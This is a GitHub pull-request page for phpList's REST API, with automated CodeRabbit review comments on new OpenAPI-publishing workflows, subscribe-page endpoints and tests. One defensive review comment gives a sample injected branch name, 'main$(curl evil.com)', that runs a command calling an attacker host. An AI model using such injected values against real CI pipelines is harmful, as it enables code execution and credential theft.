Skip to content

Dev#169

Open
TatevikGr wants to merge 6 commits into
mainfrom
dev
Open

Dev#169
TatevikGr wants to merge 6 commits into
mainfrom
dev

Conversation

@TatevikGr
Copy link
Copy Markdown
Contributor

@TatevikGr TatevikGr commented Apr 30, 2026

Summary by CodeRabbit

  • New Features

    • Paginated GET /subscribe-pages, structured subscribe-page data for create/update, and a public GET for subscriber lists.
  • Documentation

    • Bounces API 200 response now includes items + pagination metadata.
    • API contact email updated.
  • Tests

    • Added/updated integration and unit tests for subscribe-page data handling and serialization.
  • Chores

    • CI workflows added/updated to generate/sync OpenAPI spec and client docs.
    • Composer dependency constraint adjusted.

Review Change Stack

Thanks for contributing to phpList!

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented Apr 30, 2026

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review
📝 Walkthrough

Walkthrough

Adds a workflow (.github/workflows/front-docs.yml) that generates an OpenAPI JSON via PHP/Composer and vendor/bin/openapi, uploads it as an artifact, and conditionally pushes an updated openapi.json to phpList/web-frontend. Tightens .github/workflows/client-docs.yml triggers. Adds PaginatedDataProvider injection and GET /subscribe-pages/ in SubscribePageController, introduces an optional structured data payload for subscribe pages with request accessors and serializer normalizers, updates normalization to include data, adds a public subscriber-list endpoint, updates tests, and tweaks composer phplist/core branch and OA contact email.

Sequence Diagram(s)

sequenceDiagram
  participant Actions as GitHubActions/generate-openapi
  participant PHP as PHP+Composer+openapi
  participant Artifact as ActionsArtifact
  participant WebFrontend as phpList/web-frontend

  Actions->>PHP: run vendor/bin/openapi -> docs/latest-restapi.json
  PHP->>Artifact: upload docs/latest-restapi.json
  Actions->>WebFrontend: checkout target branch
  Actions->>Artifact: download latest-restapi.json
  Actions->>WebFrontend: compare latest-restapi.json with openapi.json
  Actions->>WebFrontend: commit & push updated openapi.json (if different)
Loading
sequenceDiagram
  participant Client as API Client
  participant Controller as SubscribePageController
  participant Provider as PaginatedDataProvider
  participant Manager as SubscribePageManager
  participant DB as Database

  Client->>Controller: GET /subscribe-pages?cursor...
  Controller->>Provider: getPaginatedList(PaginatedFilter)
  Provider->>DB: query SubscribePage with pagination
  DB-->>Provider: paginated rows + cursor
  Provider-->>Controller: Paginated result (items, pagination)
  Controller-->>Client: 200 { items: [...], pagination: {...} }

  Client->>Controller: POST /subscribe-pages { data: [...] }
  Controller->>Manager: create page entity
  Manager->>DB: persist page
  DB-->>Manager: page id
  Controller->>Manager: syncPageData(page, dataMap) (if data provided)
  Manager->>DB: upsert page data entries
  Manager-->>Controller: ack
  Controller-->>Client: 201 Created
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

  • phpList/rest-api#165: Modifies serializer/normalizer registration that affects SubscribePageNormalizer wiring.
  • phpList/rest-api#168: Also updates composer phplist/core branch constraint overlapping this PR’s composer change.
🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 16.13% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Title check ❓ Inconclusive The title "Dev" is vague and generic, providing no meaningful information about the actual changes in the PR. Consider a more descriptive title that captures the main changes, such as "Add paginated subscribe pages endpoint and public list endpoint" or similar.
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch dev

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

🧹 Nitpick comments (1)
.github/workflows/client-docs.yml (1)

1-121: Advisory: Apply the same security hardening as front-docs.yml.

This workflow shares the same structure and security vulnerabilities as the newly added front-docs.yml:

  • Template injection (lines 22, 24): github.head_ref and github.ref_name expanded directly in shell
  • Unpinned actions (lines 28, 31, 37, 51, 63, 81): Using mutable tags instead of commit SHAs
  • Missing permissions block: Runs with broad default permissions
  • Credential persistence (lines 28, 63): Checkout actions don't set persist-credentials: false

While these are pre-existing issues, consider applying the same fixes proposed for front-docs.yml to maintain consistent security posture across both documentation workflows.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/client-docs.yml around lines 1 - 121, The Determine source
branch step uses untrusted shell expansion of github.head_ref and
github.ref_name (template injection) and several actions are unpinned and keep
credentials; fix by: (1) replace the shell-based output assignment in the
"Determine source branch" step with GitHub expression-based outputs (use the
official event expressions like github.event.pull_request.head.ref or
github.ref_name via the step outputs syntax) so no untrusted expansion occurs in
run; (2) pin all third-party actions referenced (actions/checkout,
shivammathur/setup-php, actions/cache, actions/upload-artifact,
actions/download-artifact, etc.) to immutable commit SHAs instead of floating
tags; (3) add a top-level permissions block with minimal required rights; and
(4) set persist-credentials: false on both checkout steps ("Checkout Source
Repository" and "Checkout phplist-api-client Repository") to avoid credential
persistence.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/front-docs.yml:
- Around line 26-28: The checkout steps using actions/checkout@v3 are leaving
credentials in .git/config; update both checkout steps (the initial "Checkout
Source Repository" and the later checkout that uses the PUSH_WEB_FRONTEND token)
to add persist-credentials: false to the action inputs so credentials are not
persisted, and ensure the subsequent commit/push logic (where you reconfigure
git credentials) remains intact to set credentials only when needed.
- Around line 1-11: Add an explicit top-level permissions block to this workflow
(named "Update phplist-web-frontend OpenAPI") to enforce least-privilege for
GITHUB_TOKEN; replace the default broad permissions with explicit, minimal
permissions required by the job(s) (for example, set contents: read and only
include write permissions for specific scopes actually needed like
pull-requests: write or workflows: write if the job updates PRs or workflow
files), placing the permissions: block directly under the workflow header so it
applies to all jobs.
- Around line 17-24: The Determine source branch step is vulnerable because it
injects github.head_ref/github.ref_name directly into a shell command; replace
this run block with a non-shell implementation (e.g., use actions/github-script
or an official action) that reads the branch from the GitHub context and sets
the step output via the Actions toolkit (e.g., core.setOutput('source_branch',
branch)) to avoid shell interpolation; locate the step with id "branch" / name
"Determine source branch" and remove direct echo of ${{ github.head_ref }} and
${{ github.ref_name }} in shell commands.
- Line 27: The workflow uses mutable action tags (e.g., the uses entry
"actions/checkout@v3") which must be replaced with immutable commit SHAs to
prevent supply-chain risks; update every "uses: actions/checkout@v3" occurrence
to pin to de0fac2e4500dabe0009e67214ff5f5447ce83dd, and similarly replace the
other mutable usages mentioned (shivammathur/setup-php, actions/cache,
actions/upload-artifact, actions/download-artifact) with the recommended commit
SHAs (7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc,
27d5ce7f107fe9357f9df03efb73ab90386fccae,
043fb46d1a93c77aae656e7c1c64a875d1fc6a0a,
3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c respectively), ensuring all “uses:”
lines in the workflow file are updated to those exact SHAs.

In `@composer.json`:
- Line 45: The composer entry "phplist/core": "dev-dev" appears to track the dev
branch (not main) — if the PR intends to follow the stable main line change it
back to "dev-main"; otherwise explicitly confirm and document the intent to
track the less-stable dev branch. Update the composer.json dependency for
phplist/core (the "phplist/core" version string) to "dev-main" for
consistency/stability or add a short comment/PR description explaining why
"dev-dev" (dev) is intentionally required.

In `@src/Subscription/Controller/SubscribePageController.php`:
- Line 59: The OpenAPI schema for the after_id parameter in
SubscribePageController (schema: new OA\Schema(...)) incorrectly sets minimum
and default to 1; change the schema so it allows 0 by setting minimum to 0 and
default to 0 (or remove the minimum/default constraint) so cursor pagination
starting at 0 is valid; update the OA\Schema for after_id accordingly.

---

Nitpick comments:
In @.github/workflows/client-docs.yml:
- Around line 1-121: The Determine source branch step uses untrusted shell
expansion of github.head_ref and github.ref_name (template injection) and
several actions are unpinned and keep credentials; fix by: (1) replace the
shell-based output assignment in the "Determine source branch" step with GitHub
expression-based outputs (use the official event expressions like
github.event.pull_request.head.ref or github.ref_name via the step outputs
syntax) so no untrusted expansion occurs in run; (2) pin all third-party actions
referenced (actions/checkout, shivammathur/setup-php, actions/cache,
actions/upload-artifact, actions/download-artifact, etc.) to immutable commit
SHAs instead of floating tags; (3) add a top-level permissions block with
minimal required rights; and (4) set persist-credentials: false on both checkout
steps ("Checkout Source Repository" and "Checkout phplist-api-client
Repository") to avoid credential persistence.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 7eaa983b-b065-4955-8333-f00eca6c5837

📥 Commits

Reviewing files that changed from the base of the PR and between 784bb28 and 112abce.

📒 Files selected for processing (5)
  • .github/workflows/client-docs.yml
  • .github/workflows/front-docs.yml
  • composer.json
  • src/PhpListRestBundle.php
  • src/Subscription/Controller/SubscribePageController.php
✅ Files skipped from review due to trivial changes (1)
  • src/PhpListRestBundle.php

Comment on lines +1 to +11
name: Update phplist-web-frontend OpenAPI

on:
push:
branches:
- dev
- main
pull_request:
branches:
- main
jobs:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Restrict workflow permissions following least-privilege principle.

The workflow lacks an explicit permissions: block, so it runs with broad default GITHUB_TOKEN permissions (including write access to repository contents). If the workflow is compromised (e.g., via the template injection vulnerability), the attacker inherits all default permissions.

🔒 Proposed permissions block
 name: Update phplist-web-frontend OpenAPI
 
+permissions:
+  contents: write      # Required to push to web-frontend repo
+  actions: read        # Required to download artifacts
+
 on:
   push:
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 1-121: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block

(excessive-permissions)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 1 - 11, Add an explicit
top-level permissions block to this workflow (named "Update phplist-web-frontend
OpenAPI") to enforce least-privilege for GITHUB_TOKEN; replace the default broad
permissions with explicit, minimal permissions required by the job(s) (for
example, set contents: read and only include write permissions for specific
scopes actually needed like pull-requests: write or workflows: write if the job
updates PRs or workflow files), placing the permissions: block directly under
the workflow header so it applies to all jobs.

Comment on lines +17 to +24
- name: Determine source branch
id: branch
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
else
echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
fi
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Template injection vulnerability in branch name handling.

Lines 21 and 23 directly expand github.head_ref and github.ref_name into shell commands. An attacker can craft a malicious branch name (e.g., main$(curl evil.com) or dev; malicious-command) to execute arbitrary code in the CI environment. This could lead to credential theft, supply chain compromise, or repository tampering.

🔒 Proposed fix: Use environment variables
       - name: Determine source branch
         id: branch
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          HEAD_REF: ${{ github.head_ref }}
+          REF_NAME: ${{ github.ref_name }}
         run: |
-          if [ "${{ github.event_name }}" = "pull_request" ]; then
-            echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
+          if [ "$EVENT_NAME" = "pull_request" ]; then
+            echo "source_branch=$HEAD_REF" >> "$GITHUB_OUTPUT"
           else
-            echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
+            echo "source_branch=$REF_NAME" >> "$GITHUB_OUTPUT"
           fi
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Determine source branch
id: branch
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
else
echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
fi
- name: Determine source branch
id: branch
env:
EVENT_NAME: ${{ github.event_name }}
HEAD_REF: ${{ github.head_ref }}
REF_NAME: ${{ github.ref_name }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
echo "source_branch=$HEAD_REF" >> "$GITHUB_OUTPUT"
else
echo "source_branch=$REF_NAME" >> "$GITHUB_OUTPUT"
fi
🧰 Tools
🪛 actionlint (1.7.12)

[error] 19-19: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.25.2)

[error] 21-21: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 23-23: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 17 - 24, The Determine source
branch step is vulnerable because it injects github.head_ref/github.ref_name
directly into a shell command; replace this run block with a non-shell
implementation (e.g., use actions/github-script or an official action) that
reads the branch from the GitHub context and sets the step output via the
Actions toolkit (e.g., core.setOutput('source_branch', branch)) to avoid shell
interpolation; locate the step with id "branch" / name "Determine source branch"
and remove direct echo of ${{ github.head_ref }} and ${{ github.ref_name }} in
shell commands.

Comment on lines +26 to +28
- name: Checkout Source Repository
uses: actions/checkout@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Prevent credential persistence in checkout actions.

Both actions/checkout steps lack persist-credentials: false, causing credentials to persist in .git/config. The checkout at line 62 is particularly sensitive because it uses the privileged PUSH_WEB_FRONTEND token. If subsequent steps are compromised or files leaked, credentials could be exposed.

🔐 Proposed fix
       - name: Checkout Source Repository
         uses: actions/checkout@v3
+        with:
+          persist-credentials: false
       - name: Checkout phpList-web-frontend Repository
         uses: actions/checkout@v3
         with:
           repository: phpList/web-frontend
           token: ${{ secrets.PUSH_WEB_FRONTEND }}
           fetch-depth: 0
+          persist-credentials: false

Note: You'll need to re-configure git credentials in the commit step (line 106-107) after disabling persistence, which you're already doing correctly.

Also applies to: 61-66

🧰 Tools
🪛 actionlint (1.7.12)

[error] 27-27: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)

🪛 zizmor (1.25.2)

[warning] 26-27: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 26 - 28, The checkout steps
using actions/checkout@v3 are leaving credentials in .git/config; update both
checkout steps (the initial "Checkout Source Repository" and the later checkout
that uses the PUSH_WEB_FRONTEND token) to add persist-credentials: false to the
action inputs so credentials are not persisted, and ensure the subsequent
commit/push logic (where you reconfigure git credentials) remains intact to set
credentials only when needed.

fi

- name: Checkout Source Repository
uses: actions/checkout@v3
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Fetch latest release commit SHAs for GitHub Actions

echo "=== actions/checkout ==="
gh api repos/actions/checkout/releases/latest --jq '.tag_name as $tag | "Tag: \($tag)" | ., "SHA: TBD - check releases page"'

echo -e "\n=== shivammathur/setup-php ==="
gh api repos/shivammathur/setup-php/releases/latest --jq '.tag_name'

echo -e "\n=== actions/cache ==="
gh api repos/actions/cache/releases/latest --jq '.tag_name'

echo -e "\n=== actions/upload-artifact ==="
gh api repos/actions/upload-artifact/releases/latest --jq '.tag_name'

echo -e "\n=== actions/download-artifact ==="
gh api repos/actions/download-artifact/releases/latest --jq '.tag_name'

Repository: phpList/rest-api

Length of output: 279


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "=== actions/checkout (latest tag -> object sha) ==="
gh api repos/actions/checkout/git/ref/tags/v6.0.2 --jq '.object.sha'

echo "=== shivammathur/setup-php (latest tag -> object sha) ==="
gh api repos/shivammathur/setup-php/git/ref/tags/2.37.1 --jq '.object.sha'

echo "=== actions/cache (latest tag -> object sha) ==="
gh api repos/actions/cache/git/ref/tags/v5.0.5 --jq '.object.sha'

echo "=== actions/upload-artifact (latest tag -> object sha) ==="
gh api repos/actions/upload-artifact/git/ref/tags/v7.0.1 --jq '.object.sha'

echo "=== actions/download-artifact (latest tag -> object sha) ==="
gh api repos/actions/download-artifact/git/ref/tags/v8.0.1 --jq '.object.sha'

Repository: phpList/rest-api

Length of output: 544


🏁 Script executed:

#!/bin/bash
set -euo pipefail

sed -n '1,140p' .github/workflows/front-docs.yml | nl -ba | sed -n '1,140p'

Repository: phpList/rest-api

Length of output: 103


🏁 Script executed:

#!/bin/bash
set -euo pipefail
cat -n .github/workflows/front-docs.yml | sed -n '1,140p'

Repository: phpList/rest-api

Length of output: 4769


Pin GitHub Actions to immutable commit SHAs (and update outdated majors)

The workflow uses mutable action tags (@v3, @v2, @v4), which enables supply-chain tampering if an action repo is compromised. Pin each uses: to a commit SHA instead.

Recommended pins for this workflow:

  • actions/checkoutde0fac2e4500dabe0009e67214ff5f5447ce83dd (v6.0.2) for both occurrences (uses: actions/checkout@v3)
  • shivammathur/setup-php7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc (2.37.1)
  • actions/cache27d5ce7f107fe9357f9df03efb73ab90386fccae (v5.0.5)
  • actions/upload-artifact043fb46d1a93c77aae656e7c1c64a875d1fc6a0a (v7.0.1)
  • actions/download-artifact3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c (v8.0.1)
🧰 Tools
🪛 actionlint (1.7.12)

[error] 27-27: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)

🪛 zizmor (1.25.2)

[warning] 26-27: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml at line 27, The workflow uses mutable
action tags (e.g., the uses entry "actions/checkout@v3") which must be replaced
with immutable commit SHAs to prevent supply-chain risks; update every "uses:
actions/checkout@v3" occurrence to pin to
de0fac2e4500dabe0009e67214ff5f5447ce83dd, and similarly replace the other
mutable usages mentioned (shivammathur/setup-php, actions/cache,
actions/upload-artifact, actions/download-artifact) with the recommended commit
SHAs (7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc,
27d5ce7f107fe9357f9df03efb73ab90386fccae,
043fb46d1a93c77aae656e7c1c64a875d1fc6a0a,
3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c respectively), ensuring all “uses:”
lines in the workflow file are updated to those exact SHAs.

Comment thread composer.json
"require": {
"php": "^8.1",
"phplist/core": "dev-main",
"phplist/core": "dev-dev",
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Check phplist/core branches and recent activity

echo "=== Checking if dev-dev branch exists ==="
gh api repos/phpList/core/branches/dev-dev --jq '.name' 2>/dev/null || echo "Branch 'dev-dev' not found"

echo -e "\n=== Checking if dev-main branch exists ==="
gh api repos/phpList/core/branches/dev-main --jq '.name' 2>/dev/null || echo "Branch 'dev-main' not found"

echo -e "\n=== Recent commits on dev-dev (if exists) ==="
gh api repos/phpList/core/commits?sha=dev-dev --jq '.[0:3] | .[] | "\(.commit.author.date) - \(.commit.message | split("\n")[0])"' 2>/dev/null || echo "Cannot fetch commits for dev-dev"

echo -e "\n=== Recent commits on dev-main (if exists) ==="
gh api repos/phpList/core/commits?sha=dev-main --jq '.[0:3] | .[] | "\(.commit.author.date) - \(.commit.message | split("\n")[0])"' 2>/dev/null || echo "Cannot fetch commits for dev-main"

Repository: phpList/rest-api

Length of output: 853


🏁 Script executed:

#!/bin/bash
set -e

echo "=== Listing branches in phpList/core (top 100) ==="
gh api repos/phpList/core/branches?per_page=100 --jq '.[].name' 2>/dev/null || echo "Cannot list branches (gh api failed)"

echo -e "\n=== Checking for likely composer-branch candidates ==="
for b in main master develop dev trunk; do
  echo -e "\n-- Branch: $b"
  gh api repos/phpList/core/branches/$b --jq '.name' 2>/dev/null || echo "Branch '$b' not found"
done

echo -e "\n=== Checking tags (top 50) ==="
gh api repos/phpList/core/tags?per_page=50 --jq '.[].name' 2>/dev/null || echo "Cannot list tags (gh api failed)"

Repository: phpList/rest-api

Length of output: 808


Confirm intended stability for phplist/core tracking (dev-dev vs dev-main)

In phpList/core, the actual branches are dev and main (no literal dev-dev branch). Composer’s dev-dev tracks dev (while dev-main tracks main), so switching to dev-dev means opting into the less-stable dev line—ensure this is intentional for the PR’s devmain flow and add rationale; otherwise consider reverting to dev-main for consistency/stability.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@composer.json` at line 45, The composer entry "phplist/core": "dev-dev"
appears to track the dev branch (not main) — if the PR intends to follow the
stable main line change it back to "dev-main"; otherwise explicitly confirm and
document the intent to track the less-stable dev branch. Update the
composer.json dependency for phplist/core (the "phplist/core" version string) to
"dev-main" for consistency/stability or add a short comment/PR description
explaining why "dev-dev" (dev) is intentionally required.

description: 'Last id (starting from 0)',
in: 'query',
required: false,
schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Fix OpenAPI schema constraint for after_id.

The parameter description states "Last id (starting from 0)" but the schema specifies minimum: 1 and default: 1, which prevents valid requests with after_id=0. The test suite confirms that 0 is a valid starting value for cursor pagination.

📝 Proposed fix
             new OA\Parameter(
                 name: 'after_id',
                 description: 'Last id (starting from 0)',
                 in: 'query',
                 required: false,
-                schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
+                schema: new OA\Schema(type: 'integer', default: 0, minimum: 0)
             ),
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
schema: new OA\Schema(type: 'integer', default: 0, minimum: 0)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscribePageController.php` at line 59, The
OpenAPI schema for the after_id parameter in SubscribePageController (schema:
new OA\Schema(...)) incorrectly sets minimum and default to 1; change the schema
so it allows 0 by setting minimum to 0 and default to 0 (or remove the
minimum/default constraint) so cursor pagination starting at 0 is valid; update
the OA\Schema for after_id accordingly.

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (2)
tests/Integration/Subscription/Controller/SubscribePageControllerTest.php (2)

89-92: ⚡ Quick win

Assert returned data to lock in the new API contract.

These tests now send data, but they still don’t assert the response includes normalized data (key/value). Adding that assertion would prevent silent regressions in serializer/controller wiring.

Also applies to: 155-157

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`
around lines 89 - 92, Add assertions to SubscribePageControllerTest to verify
the response body includes a normalized "data" array with objects containing
"key" and "value" entries matching the input (e.g. key "intro_text" with value
"Welcome"); update the assertions in the test block where the request JSON is
built (the snippet around the JSON_THROW_ON_ERROR call) and the second
occurrence (lines referenced 155-157) so both response checks assert the
returned "data" structure (key/value) to lock in the new API contract.

126-143: ⚡ Quick win

Strengthen the 422 test with field-level error assertions.

Right now it only checks status. Please also assert the validation payload references the missing data[0].value field, so it fails for the right reason.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`
around lines 126 - 143, In the
testCreateSubscribePageWithDataMissingValueReturnsUnprocessableEntity test,
enhance the 422 assertion to check the validation payload contains a field-level
error for the missing data[0].value; after calling authenticatedJsonRequest and
assertHttpUnprocessableEntity(), decode the JSON response (or use existing test
helper to get response body) and assert that the validation errors include an
entry for "data.0.value" or "data[0].value" (depending on project convention)
and that the message/constraint is present, so the failure is confirmed to be
due to the missing value field rather than a different validation error.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@src/Subscription/Controller/SubscribePageController.php`:
- Around line 233-237: The create flow currently calls
$this->entityManager->flush() before calling
$this->subscribePageManager->syncPageData(...), risking partial commits if
syncPageData throws; change the flow so create and data sync are executed
atomically: remove the early flush and perform the flush only after syncPageData
completes, or wrap the create + sync sequence in a single DB transaction (use
the EntityManager transaction API or a transactional helper) so that
SubscribePageController's create path (checking createRequest->hasData(),
calling subscribePageManager->syncPageData(createRequest->getDataMap(), $page),
then $this->entityManager->flush()) is all committed or rolled back together.

In `@src/Subscription/Serializer/SubscribePageNormalizer.php`:
- Around line 28-31: Constructor for SubscribePageNormalizer now requires a
SubscribePageDataNormalizer in addition to AdministratorNormalizer; update all
test and manual instantiations (e.g., in SubscribePageNormalizerTest and any
places using new SubscribePageNormalizer(...)) to provide the new dependency.
Replace calls like new SubscribePageNormalizer($adminNormalizer) with new
SubscribePageNormalizer($adminNormalizer, $dataNormalizer), and in tests create
a suitable stub/mock for SubscribePageDataNormalizer (or a real instance) in
setUp or inline using your test framework's createMock/createStub method so the
constructor receives both AdministratorNormalizer and
SubscribePageDataNormalizer.

---

Nitpick comments:
In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`:
- Around line 89-92: Add assertions to SubscribePageControllerTest to verify the
response body includes a normalized "data" array with objects containing "key"
and "value" entries matching the input (e.g. key "intro_text" with value
"Welcome"); update the assertions in the test block where the request JSON is
built (the snippet around the JSON_THROW_ON_ERROR call) and the second
occurrence (lines referenced 155-157) so both response checks assert the
returned "data" structure (key/value) to lock in the new API contract.
- Around line 126-143: In the
testCreateSubscribePageWithDataMissingValueReturnsUnprocessableEntity test,
enhance the 422 assertion to check the validation payload contains a field-level
error for the missing data[0].value; after calling authenticatedJsonRequest and
assertHttpUnprocessableEntity(), decode the JSON response (or use existing test
helper to get response body) and assert that the validation errors include an
entry for "data.0.value" or "data[0].value" (depending on project convention)
and that the message/constraint is present, so the failure is confirmed to be
due to the missing value field rather than a different validation error.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: e3fbcab1-b459-40cd-a80c-b5481b4cfbdb

📥 Commits

Reviewing files that changed from the base of the PR and between 112abce and bd04a2b.

📒 Files selected for processing (5)
  • src/Subscription/Controller/SubscribePageController.php
  • src/Subscription/Request/SubscribePageRequest.php
  • src/Subscription/Serializer/SubscribePageDataNormalizer.php
  • src/Subscription/Serializer/SubscribePageNormalizer.php
  • tests/Integration/Subscription/Controller/SubscribePageControllerTest.php

Comment on lines +233 to 237
if ($createRequest->hasData()) {
$this->entityManager->flush();
$this->subscribePageManager->syncPageData($createRequest->getDataMap(), $page);
}
$this->entityManager->flush();
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Avoid partial writes in create flow when syncing data.

Line 234 flushes before syncPageData(). If sync throws, the page can still be committed without its requested data. Please keep create + data sync in one DB transaction (or one atomic unit) so failures roll back together.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscribePageController.php` around lines 233 -
237, The create flow currently calls $this->entityManager->flush() before
calling $this->subscribePageManager->syncPageData(...), risking partial commits
if syncPageData throws; change the flow so create and data sync are executed
